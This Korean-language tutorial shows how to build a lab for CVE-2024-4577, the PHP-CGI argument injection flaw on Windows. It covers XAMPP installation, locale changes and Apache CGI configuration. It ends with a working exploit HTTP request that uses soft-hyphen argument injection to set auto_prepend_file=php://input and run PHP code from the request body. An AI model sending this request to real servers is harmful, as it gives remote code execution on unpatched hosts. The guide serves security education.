
CVE-2024-4577 실험실 만들기
| CVE | 설명 | CVSSv3 |
| CVE-2024-4577 | PHP-CGI 인수 주입 취약점 | 9.8 |
"CVE-2024-4577은 PHP에서 중요한 인수 주입 취약점으로, 원격 코드 실행(RCE)에 악용될 수 있습니다. DEVCORE 연구원들에 따르면, 이 결함은 문자 인코딩 변환 오류로 인해 발생하며 Windows의 'Best Fit' 기능에 영향을 미칩니다."
-Tenable
다운로드 XAMPP (8.1.25 / PHP 8.1.25) XAMPP를 설치한 후, php 버전을 확인하세요. 버전은 8.1.25여야 합니다. 명령줄에서 "php -v" 명령을 실행하여 php 버전을 확인할 수 있습니다. 오류가 발생하면 php PATH 변수에 추가해야 합니다.
로케일을 변경해야 합니다. 이를 위해 제어판 > 시계 및 국가 > 국가를 따르세요. 형식을 일본어, 중국어(번체) 또는 중국어(간체)로 설정하세요. 관리자 옵션 > 시스템 로케일 변경을 클릭하고 적절한 로케일을 선택하세요.
PHP가 CGI 모드로 실행되지 않는 경우, 다음 설정을 해야 합니다.
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
AddType application/x-httpd-php .php
<Directory "C:/xampp/php">
Options +ExecCGI
AllowOverride None
Require all granted
</Directory>
LoadModule php_module "C:/xampp/php/php8apache2_4.dll"를 찾으세요. 줄 앞에 '#'을 붙이세요.변경 사항을 저장하고 Apache 인스턴스를 시작하세요.
아래 POST 요청의 본문에 보낸 PHP 코드의 출력이 응답에 보이면 공격 단계가 성공한 것입니다.
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{HOST}}
User-Agent: curl/8.3.0
Accept: /
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
echo "vulnerable";
?>
이 실습 환경은 교육 목적으로만 제공되며, 실제 운영 환경에서는 사용해서는 안 됩니다. 부적절한 사용으로 인해 발생할 수 있는 손해나 손실에 대해 저는 책임지지 않습니다. 사용자는 본 환경을 자신의 책임 하에 사용해야 합니다.